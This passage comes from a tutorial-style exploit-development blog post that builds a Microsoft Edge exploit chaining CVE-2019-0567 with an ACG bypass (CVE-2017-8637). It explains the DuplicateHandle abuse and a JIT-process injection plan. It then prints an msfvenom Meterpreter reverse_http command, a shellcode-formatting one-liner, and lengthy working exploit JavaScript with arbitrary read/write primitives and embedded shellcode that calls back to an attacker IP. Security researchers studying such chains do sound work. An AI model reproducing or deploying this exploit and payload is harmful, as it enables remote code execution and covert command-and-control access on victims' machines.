A process that has some of the access rights noted here can use them to gain other access rights. For example, if process A has a handle to process B with PROCESS_DUP_HANDLE access, it can duplicate the pseudo handle for process B. This creates a handle that has maximum access to process B. For more information on pseudo handles, see GetCurrentProcess.

What Microsoft is saying here is that if a process has a handle to another process, and that handle has PROCESS_DUP_HANDLE permissions, it is possible to use another call to DuplicateHandle to obtain a full-fledged PROCESS_ALL_ACCESS handle. This is the exact scenario we currently have. Our content process has a PROCESS_DUP_HANDLE handle to the JIT process. As Microsoft points out, this can be dangerous because it is possible to call DuplicateHandle on this PROCESS_DUP_HANDLE handle in order to obtain a full-access handle to the JIT server! This would allow us to have the necessary handle permissions, as we showed earlier with VirtualAllocEx, to compromise the JIT server. The reason why CVE-2017-8637 is an ACG bypass is because the JIT server doesn’t have ACG enabled! If we, from the content process, can allocate memory and write shellcode into the JIT server (abusing this handle) we would compromise the JIT process and execute code, because ACG isn’t enabled there!

So, we could setup a call to DuplicateHandle as such:

DuplicateHandle(
	jitHandle,		// Leaked from s_jitManager+0x8 with PROCESS_DUP_HANDLE permissions
	GetCurrentProcess(),	// Pseudo handle to the current process
	GetCurrentProcess(),	// Pseudo handle to the current process
	&fulljitHandle,		// Variable we supply that will receive the PROCESS_ALL_ACCESS handle to the JIT server
	0,			// Ignored since we later specify DUPLICATE_SAME_ACCESS
	0,			// FALSE (handle can't be inherited)
	DUPLICATE_SAME_ACCESS	// Create handle with same permissions as source handle (source handle = GetCurrentProcessHandle() so PROCESS_ALL_ACCESS permissions)
);

Let’s talk about where these parameters came from.

  1. hSourceProcessHandle - “A handle to the process with the handle to be duplicated. The handle must have the PROCESS_DUP_HANDLE access right.”
    • The value we are passing here is jitHandle (which represents our PROCESS_DUP_HANDLE to the JIT server). As the parameter description says, we pass in the handle to the process where the “handle we want to duplicate exists”. Since we are passing in the PROCESS_DUP_HANDLE to the JIT server, this essentially tells DuplicateHandle that the handle we want to duplicate exists somewhere within this process (the JIT process).
  2. hSourceHandle - “The handle to be duplicated. This is an open object handle that is valid in the context of the source process.”
    • We supply a value of GetCurrentProcess here. What this means is that we are asking DuplicateHandle to duplicate a pseudo handle to the current process. In other words, we are asking DuplicateHandle to duplicate us a PROCESS_ALL_ACCESS handle. However, since we have passed in the JIT server as the hSourceProcessHandle parameter we are instead asking DuplicateHandle to “duplicate us a pseudo handle for the current process”, but we have told DuplicateHandl that our “current process” is the JIT process as we have changed our “process context” by telling DuplicateHandle to perform this operation in context of the JIT process. Normally GetCurrentProcess would return us a handle to the process in which the function call occurred in (which, in our exploit, will obviously happen within a ROP chain in the content process). However, we use the “trick” up our sleeve, which is the leaked handle to the JIT server we have stored in the content process. When we supply this handle, we “trick” DuplicateHandle into essentially duplicating a PROCESS_ALL_ACCESS handle within the JIT process instead.
  3. hTargetProcessHandle - “A handle to the process that is to receive the duplicated handle. The handle must have the PROCESS_DUP_HANDLE access right.”
    • We supply a value of GetCurrentProcess here. This makes sense, as we want to receive the full handle to the JIT server within the content process. Our exploit is executing within the content process so we tell DuplicateHandle that the process we want to receive this handle in context of is the current, or content process. This will allow the content process to use it later.
  4. lpTargetHandle - “A pointer to a variable that receives the duplicate handle. This handle value is valid in the context of the target process. If hSourceHandle is a pseudo handle returned by GetCurrentProcess or GetCurrentThread, DuplicateHandle converts it to a real handle to a process or thread, respectively.”
    • This is the most important part. Not only is this the variable that will receive our handle (fulljitHandle just represents a memory address where we want to store this handle. In our exploit we will just find an empty .data address to store it in), but the second part of the parameter description is equally as important. We know that for hSourceHandle we supplied a pseudo handle via GetCurrentProcess. This description essentially says that DuplicateHandle will convert this pseudo handle in hSourceHandle into a real handle when the function completes. As we mentioned, we are using a “trick” with our hSourceProcessHandle being the JIT server and our hSourceHandle being a pseudo handle. We, as mentioned, are telling Edge to search within the JIT process for a pseudo handle “to the current process”, which is the JIT process. However, a pseudo handle would really only be usable in context of the process where it was being obtained from. So, for instance, if we obtained a pseudo handle to the JIT process it would only be usable within the JIT process. This isn’t ideal, because our exploit is within the content process and any handle that is only usable within the JIT process itself is useless to us. However, since DuplicateHandle will convert the pseudo handle to a real handle, this real handle is usable by other processes. This essentially means our call to DuplicateHandle will provide us with an actual handle with PROCESS_ALL_ACCESS to the JIT server from another process (from the content process in our case).
  5. dwDesiredAccess - “The access requested for the new handle. For the flags that can be specified for each object type, see the following Remarks section. This parameter is ignored if the dwOptions parameter specifies the DUPLICATE_SAME_ACCESS flag…”
    • We will be supplying the DUPLICATE_SAME_ACCESS flag later, meaning we can set this to 0.
  6. bInheritHandle - “A variable that indicates whether the handle is inheritable. If TRUE, the duplicate handle can be inherited by new processes created by the target process. If FALSE, the new handle cannot be inherited.”
    • Here we set the value to FALSE. We don’t want to/nor do we care if this handle is inheritable.
  7. dwOptions - “Optional actions. This parameter can be zero, or any combination of the following values.”
    • Here we provide 2, or DUPLICATE_SAME_ACCESS. This instructs DuplicateHandle that we want our duplicate handle to have the same permissions as the handle provided by the source. Since we provided a pseudo handle as the source, which has PROCESS_ALL_ACCESS, our final duplicated handle fulljitHandle will have a real PROCESS_ALL_ACCESS handle to the JIT server which can be used by the content process.

If this all sounds confusing, take a few moments to keep reading the above. Additionally, here is a summation of what I said:

  1. DuplicateHandle let’s you decide in what process the handle you want to duplicate exists. We tell DuplicateHandle that we want to duplicate a handle within the JIT process, using the low-permission PROCESS_DUP_HANDLE handle we have leaked from s_jitManager.
  2. We then tell DuplicateHandle the handle we want to duplicate within the JIT server is a GetCurrentProcess pseudo handle. This handle has PROCESS_ALL_ACCESS
  3. Although GetCurrentProcess returns a handle only usable by the process which called it, DuplicateHandle will perform a conversion under the hood to convert this to an actual handle which other processes can use
  4. Lastly, we tell DuplicateHandle we want a real handle to the JIT server, which we can use from the content process, with PROCESS_ALL_ACCESS permissions via the DUPLICATE_SAME_ACCESS flag which will tell DuplicateHandle to duplicate the handle with the same permissions as the pseudo handle (which is PROCESS_ALL_ACCESS).

Again, just keep re-reading over this and thinking about it logically. If you still have questions, feel free to email me. It can get confusing pretty quickly (at least to me).

Now that we are armed with the above information, it is time to start outline our exploitation plan.

Exploitation Plan 2.0

Let’s briefly take a second to rehash where we are at:

  1. We have an ASLR bypass and we know the layout of memory
  2. We can read/write anywhere in memory as much or as little as we want
  3. We can direct program execution to wherever we want in memory
  4. We know where the stack is and can force Edge to start executing our ROP chain

However, we know the pesky mitigations of ACG, CIG, and “no child processes” are still in our way. We can’t just execute our payload because we can’t make our payload as executable. So, with that said, the first option one could take is using a pure data-only attack. We could programmatically, via ROP, build out a reverse shell. This is very cumbersome and could take thousands of ROP gadgets. Although this is always a viable alternative, we want to detonate actual shellcode somehow. So, the approach we will take is as follows:

  1. Abuse CVE-2017-8637 to obtain a PROCESS_ALL_ACCESS handle to the JIT process
  2. ACG is disabled within the JIT process. Use our ability to execute a ROP chain in the content process to write our payload to the JIT process
  3. Execute our payload within the JIT process to obtain shellcode execution (essentially perform process injection to inject a payload to the JIT process where ACG is disabled)

To break down how we will actually accomplish step 2 in even greater detail, let’s first outline some stipulations about processes protected by ACG. We know that the content process (where our exploit will execute) is protected by ACG. We know that the JIT server is not protected by ACG. We already know that a process not protected by ACG is allowed to inject into a process that is protected by ACG. We clearly see this with the out-of-process JIT architecture of Edge. The JIT server (not protected by ACG) injects code into the content process (protected by ACG) - this is expected behavior. However, what about a injection from a process that is protected by ACG into a process that is not protected by ACG (e.g. injection from the content process into the JIT process, which we are attempting to do)?

This is actually prohibited (with a slight caveat). A process that is protected by ACG is not allowed to directly inject RWX memory and execute it within a process not protected by ACG. This makes sense, as this stipulation “protects” against an attacker compromising the JIT process (ACG disabled) from the content process (ACG enabled). However, we mentioned the stipulation is only that we cannot directly embed our shellcode as RWX memory and directly execute it via a process injection call stack like VirtualAllocEx (allocate RWX memory within the JIT process) -> WriteProcessMemory -> CreateRemoteThread (execute the RWX memory in the JIT process). However, there is a way we can bypass this stipulation.

Instead of directly allocating RWX memory within the JIT process (from the content process) we could instead just write a ROP chain into the JIT process. This doesn’t require RWX memory, and only requires RW memory. Then, if we could somehow hijack control-flow of the JIT process, we could have the JIT process execute our ROP chain. Since ACG is disabled in the JIT process, our ROP chain could mark our shellcode as RWX instead of directly doing it via VirtualAllocEx! Essentially, our ROP chain would just be a “traditional” one used to bypass DEP in the JIT process. This would allow us to bypass ACG! This is how our exploit chain would look:

  1. Abuse CVE-2017-8637 to obtain a PROCESS_ALL_ACCESS handle to the JIT process (this allows us to invoke memory operations on the JIT server from the content process)
  2. Allocate memory within the JIT process via VirtualAllocEx and the above handle
  3. Write our final shellcode (a reflective DLL from Meterpreter) into the allocation (our shellcode is now in the JIT process as RW)
  4. Create a thread within the JIT process via CreateRemoteThread, but create this thread as suspended so it doesn’t execute and have the start/entry point of our thread be a ret ROP gadget
  5. Dump the CONTEXT structure of the thread we just created (and now control) in the JIT process via GetThreadContext to retrieve its stack pointer (RSP)
  6. Use WriteProcessMemory to write the “final” ROP chain into the JIT process by leveraging the leaked stack pointer (RSP) of the thread we control in the JIT process from our call to GetThreadContext. Since we know where the stack is for our thread we created, from GetThreadContext, we can directly write a ROP chain to it with WriteProcessMemory and our handle to the JIT server. This ROP chain will mark our shellcode, which we already injected into the JIT process, as RWX (this ROP chain will work just like any traditional ROP chain that calls VirtualProtect)
  7. Update the instruction pointer of the thread we control to return into our ROP chains
  8. Call ResumeThread. This call will kick off execution of our thread, which has its entry point set to a return routine to start executing off of the stack, where our ROP chain is
  9. Our ROP chain will mark our shellcode as RWX and will jump to it and execute it

Lastly, I want to quickly point out the old Advanced Windows Exploitation syllabus from Offensive Security. After reading the steps outlined in this syllabus, I was able to formulate my aforementioned exploitation path off of the ground work laid here. As this blog post continues on, I will explain some of the things I thought would work at first and how the above exploitation path actually came to be. Although the syllabus I read was succinct and concise, I learned as I developing my exploit some additional things Control Flow Guard checks which led to many more ROP chains than I would have liked. As this blog post goes on, I will explain my thought process as to what I thought would work and what actually worked.

If the above steps seem a bit confusing - do not worry. We will dedicate a section to each concept in the rest of the blog post. You have gotten through a wall of text and, if you have made it to this point, you should have a general understanding of what we are trying to accomplish. Let’s now start implementing this into our exploit. We will start with our shellcode.

Shellcode

The first thing we need to decide is what kind of shellcode we want to execute. What we will do is store our shellcode in the .data section of chakra.dll within the content process. This is so we know its location when it comes time to inject it into the JIT process. So, before we begin our ROP chain, we need to load our shellcode into the content process so we can inject it into the JIT process. A typical example of a reverse shell, on Windows, is as follows:

  1. Create an instance of cmd.exe
  2. Using the socket library of the Windows API to put the I/O for cmd.exe on a socket, making the cmd.exe session remotely accessible over a network connection.

We can see this within the Metasploit Framework

Here is the issue - within Edge, we know there is a “no child processes” mitigation. Since a reverse shell requires spawning an instance of cmd.exe from the code calling it (our exploit), we can’t just use a normal reverse shell. Another way we could load code into the process space is through a DLL. However, remember that even though ACG is disabled in the JIT process, the JIT process still has Code Integrity Guard (CIG) enabled - meaning we can’t just use our payload to download a DLL to disk and then load it with LoadLibraryA. However, let’s take a further look at CIG’s documentation. Specifically regarding the Mitigation Bypass and Bounty for Defense Terms. If we scroll down to the “Code integrity mitigations”, we can take a look at what Microsoft deems to be out-of-scope.

If the image above is hard to view, open it in a new tab. As we can see Microsoft says that “in-memory injection” is out-of-scope of bypassing CIG. This means Microsoft knows this is an issue that CIG doesn’t address. There is a well-known technique known as reflective DLL injection where an adversary can use pure shellcode (a very large blob of shellcode) in order to load an entire DLL (which is unsigned by Microsoft) in memory, without ever touching disk. Red teamers have beat this concept to death, so I am not going to go in-depth here. Just know that we need to use reflective DLL because we need a payload which doesn’t spawn other processes.

Most command-and-control frameworks, like the one we will use (Meterpreter), use reflective DLL for their post-exploitation capabilities. There are two ways to approach this - staged and stageless. Stageless payloads will be a huge blob of shellcode that not only contain the DLL itself, but a routine that injects that DLL into memory. The other alternative is a staged payload - which will use a small first-stage shellcode which calls out to a command-and-control server to fetch the DLL itself to be injected. For our purposes, we will be using a staged reflective DLL for our shellcode.

To be more simple - we will be using the windows/meterpreter/x64/reverse_http payload from Metasploit. Essentially you can opt for any shellcode to be injected which doesn’t fork a new process.

The shellcode can be generated as follows: msfvenom -p windows/x64/meterpreter/reverse_http LHOST=YOUR_SERVER_IP LPORT=443 -f c

What I am about to explain next is (arguably) the most arduous part of this exploit. We know that in our exploit JavaScript limits us to 32-bit boundaries when reading and writing. So, this means we have to write our shellcode 4 bytes at a time. So, in order to do this, we need to divide up our exploit into 4-byte “segments”. I did this manually, but later figured out how to slightly automate getting the shellcode correct.

To “automate” this, we first need to get our shellcode into one contiguous line. Save the shellcode from the msfvenom output in a file named shellcode.txt.

Once the shellcode is in shellcode.txt, we can use the following one liner:

awk '{printf "%s""",$0}' shellcode.txt | sed 's/"//g' | sed 's/;//g' | sed 's/$/0000/' |  sed -re 's/\\x//g1' | fold -w 2 | tac | tr -d "\n" | sed 's/.\{8\}/& /g' | awk '{ for (i=NF; i>1; i--) printf("%s ",$i); print $1; }' | awk '{ for(i=1; i<=NF; i+=2) print $i, $(i+1) }' | sed 's/ /, /g' | sed 's/[^ ]* */0x&/g' | sed 's/^/write64(chakraLo+0x74b000+countMe, chakraHigh, /' | sed 's/$/);/' | sed 's/$/\ninc();/'

This will take our shellcode and divide it into four byte segments, remove the \x characters, get them in little endian format, and put them in a format where they will more easily be ready to be placed into our exploit.

Your output should look something like this:

write64(chakraLo+0x74b000+countMe, chakraHigh, 0xe48348fc, 0x00cce8f0);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x51410000, 0x51525041);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x56d23148, 0x528b4865);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x528b4860, 0x528b4818);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc9314d20, 0x50728b48);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4ab70f48, 0xc031484a);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x7c613cac, 0x41202c02);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x410dc9c1, 0xede2c101);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x528b4852, 0x8b514120);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x01483c42, 0x788166d0);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x0f020b18, 0x00007285);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x88808b00, 0x48000000);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x6774c085, 0x44d00148);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x5020408b, 0x4918488b);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x56e3d001, 0x41c9ff48);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4d88348b, 0x0148c931);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc03148d6, 0x0dc9c141);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc10141ac, 0xf175e038);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x244c034c, 0xd1394508);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4458d875, 0x4924408b);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4166d001, 0x44480c8b);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x491c408b, 0x8b41d001);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x01488804, 0x415841d0);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x5a595e58, 0x59415841);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x83485a41, 0x524120ec);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4158e0ff, 0x8b485a59);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0xff4be912, 0x485dffff);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4953db31, 0x6e6977be);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x74656e69, 0x48564100);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc749e189, 0x26774cc2);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x53d5ff07, 0xe1894853);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x314d5a53, 0xc9314dc0);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0xba495353, 0xa779563a);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000000, 0x0ee8d5ff);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x31000000, 0x312e3237);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x35352e36, 0x3539312e);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x89485a00, 0xc0c749c1);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x000001bb, 0x53c9314d);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x53036a53, 0x8957ba49);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x0000c69f, 0xd5ff0000);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x000023e8, 0x2d652f00);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x65503754, 0x516f3242);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x58643452, 0x6b47336c);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x67377674, 0x4d576c79);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x3764757a, 0x0078466a);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x53c18948, 0x4d58415a);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4853c931, 0x280200b8);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000084, 0x53535000);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0xebc2c749, 0xff3b2e55);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc68948d5, 0x535f0a6a);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0xf189485a, 0x4dc9314d);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x5353c931, 0x2dc2c749);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0xff7b1806, 0x75c085d5);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc1c7481f, 0x00001388);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0xf044ba49, 0x0000e035);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0xd5ff0000, 0x74cfff48);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0xe8cceb02, 0x00000055);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x406a5953, 0xd189495a);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4910e2c1, 0x1000c0c7);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0xba490000, 0xe553a458);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000000, 0x9348d5ff);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x89485353, 0xf18948e7);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x49da8948, 0x2000c0c7);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x89490000, 0x12ba49f9);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00e28996, 0xff000000);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc48348d5, 0x74c08520);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x078b66b2, 0x85c30148);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x58d275c0, 0x006a58c3);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc2c74959, 0x56a2b5f0);
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x0000d5ff, );
inc();

Notice at the last line, we are missing 4 bytes. We can add some NULL padding (NULL bytes don’t affect us because we aren’t dealing with C-style strings). We need to update our last line as follows:

write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000000, 0x0000d5ff);
inc();

Let’s take just one second to breakdown why the shellcode is formatted this way. We can see that our write primitive starts writing this shellcode to chakra_base + 0x74b000. If we take a look at this address within WinDbg we can see it is “empty”.

This address comes from the .data section of chakra.dll - meaning it is RW memory that we can write our shellcode to. As we have seen time and time again, the !dh chakra command can be used to see where the different headers are located at. Here is how our exploit looks now:

<button onclick="main()">Click me to exploit CVE-2019-0567!</button>
<script>
// CVE-2019-0567: Microsoft Edge Type Confusion
// Author: Connor McGarr (@33y0re)
// Creating object obj
// Properties are stored via auxSlots since properties weren't declared inline
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;
// Create two DataView objects
dataview1 = new DataView(new ArrayBuffer(0x100));
dataview2 = new DataView(new ArrayBuffer(0x100));
// Function to convert to hex for memory addresses
function hex(x) {
    return x.toString(16);
}
// Arbitrary read function
function read64(lo, hi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to read from (4 bytes at a time: e.g. 0x38 and 0x3C)
    // Instead of returning a 64-bit value here, we will create a 32-bit typed array and return the entire away
    // Write primitive requires breaking the 64-bit address up into 2 32-bit values so this allows us an easy way to do this
    var arrayRead = new Uint32Array(0x10);
    arrayRead[0] = dataview2.getInt32(0x0, true);   // 4-byte arbitrary read
    arrayRead[1] = dataview2.getInt32(0x4, true);   // 4-byte arbitrary read
    // Return the array
    return arrayRead;
}
// Arbitrary write function
function write64(lo, hi, valLo, valHi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to write to (4 bytes at a time: e.g. 0x38 and 0x3C)
    // Perform the write with our 64-bit value (broken into two 4 bytes values, because of JavaScript)
    dataview2.setUint32(0x0, valLo, true);       // 4-byte arbitrary write
    dataview2.setUint32(0x4, valHi, true);       // 4-byte arbitrary write
}
// Function used to set prototype on tmp function to cause type transition on o object
function opt(o, proto, value) {
    o.b = 1;
    let tmp = {__proto__: proto};
    o.a = value;
}
// main function
function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }
    let o = {a: 1, b: 2};
    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj
    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;
    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;
    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0x0, true);
    vtableHigh = dataview1.getUint32(0x4, true);
    // Extract dataview2->type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...
    // ... type->javascriptLibrary->scriptContext->threadContext
    typeLo = dataview1.getUint32(0x8, true);
    typeHigh = dataview1.getUint32(0xC, true);
    // Print update
    document.write("[+] DataView object 2 leaked vtable from chakra.dll: 0x" + hex(vtableHigh) + hex(vtableLo));
    document.write("<br>");
    // Store the base of chakra.dll
    chakraLo = vtableLo - 0x5d0bf8;
    chakraHigh = vtableHigh;
    // Print update
    document.write("[+] chakra.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));
    document.write("<br>");
    // Leak a pointer to kernelbase.dll (KERNELBASE!DuplicateHandle) from the IAT of chakra.dll
    // chakra+0x5ee2b8 points to KERNELBASE!DuplicateHandle
    kernelbaseLeak = read64(chakraLo+0x5ee2b8, chakraHigh);
    // KERNELBASE!DuplicateHandle is 0x18de0 away from kernelbase.dll's base address
    kernelbaseLo = kernelbaseLeak[0]-0x18de0;
    kernelbaseHigh = kernelbaseLeak[1];
    // Store the pointer to KERNELBASE!DuplicateHandle (needed for our ACG bypass) into a more aptly named variable
    var duplicateHandle = new Uint32Array(0x4);
    duplicateHandle[0] = kernelbaseLeak[0];
    duplicateHandle[1] = kernelbaseLeak[1];
    // Print update
    document.write("[+] kernelbase.dll base address: 0x" + hex(kernelbaseHigh) + hex(kernelbaseLo));
    document.write("<br>");
    // Print update with our type pointer
    document.write("[+] type pointer: 0x" + hex(typeHigh) + hex(typeLo));
    document.write("<br>");
    // Arbitrary read to get the javascriptLibrary pointer (offset of 0x8 from type)
    javascriptLibrary = read64(typeLo+8, typeHigh);
    // Arbitrary read to get the scriptContext pointer (offset 0x450 from javascriptLibrary. Found this manually)
    scriptContext = read64(javascriptLibrary[0]+0x430, javascriptLibrary[1])
    // Arbitrary read to get the threadContext pointer (offset 0x3b8)
    threadContext = read64(scriptContext[0]+0x5c0, scriptContext[1]);
    // Leak a pointer to a pointer on the stack from threadContext at offset 0x8f0
    // https://bugs.chromium.org/p/project-zero/issues/detail?id=1360
    // Offsets are slightly different (0x8f0 and 0x8f8 to leak stack addresses)
    stackleakPointer = read64(threadContext[0]+0x8f8, threadContext[1]);
    // Print update
    document.write("[+] Leaked stack address! type->javascriptLibrary->scriptContext->threadContext->leafInterpreterFrame: 0x" + hex(stackleakPointer[1]) + hex(stackleakPointer[0]));
    document.write("<br>");
    // Counter
    let countMe = 0;
    // Helper function for counting
    function inc()
    {
        countMe+=0x8;
    }
    // Shellcode (will be executed in JIT process)
    // msfvenom -p windows/x64/meterpreter/reverse_http LHOST=172.16.55.195 LPORT=443 -f c
    write64(chakraLo+0x74b000+countMe, chakraHigh, 0xe48348fc, 0x00cce8f0);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x51410000, 0x51525041);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x56d23148, 0x528b4865);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x528b4860, 0x528b4818);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc9314d20, 0x50728b48);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4ab70f48, 0xc031484a);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x7c613cac, 0x41202c02);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x410dc9c1, 0xede2c101);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x528b4852, 0x8b514120);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x01483c42, 0x788166d0);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x0f020b18, 0x00007285);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x88808b00, 0x48000000);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x6774c085, 0x44d00148);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x5020408b, 0x4918488b);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x56e3d001, 0x41c9ff48);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4d88348b, 0x0148c931);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc03148d6, 0x0dc9c141);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc10141ac, 0xf175e038);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x244c034c, 0xd1394508);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4458d875, 0x4924408b);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4166d001, 0x44480c8b);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x491c408b, 0x8b41d001);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x01488804, 0x415841d0);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x5a595e58, 0x59415841);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x83485a41, 0x524120ec);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4158e0ff, 0x8b485a59);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xff4be912, 0x485dffff);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4953db31, 0x6e6977be);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x74656e69, 0x48564100);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc749e189, 0x26774cc2);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x53d5ff07, 0xe1894853);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x314d5a53, 0xc9314dc0);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xba495353, 0xa779563a);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000000, 0x0ee8d5ff);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x31000000, 0x312e3237);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x35352e36, 0x3539312e);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x89485a00, 0xc0c749c1);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x000001bb, 0x53c9314d);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x53036a53, 0x8957ba49);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x0000c69f, 0xd5ff0000);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x000023e8, 0x2d652f00);
	inc();
